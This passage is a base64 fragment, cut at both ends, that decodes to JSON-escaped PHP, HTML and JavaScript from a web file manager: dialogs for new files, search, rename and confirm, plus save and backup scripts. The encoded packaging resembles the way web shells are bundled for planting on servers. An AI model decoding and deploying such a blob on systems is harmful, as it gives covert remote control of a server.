ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAg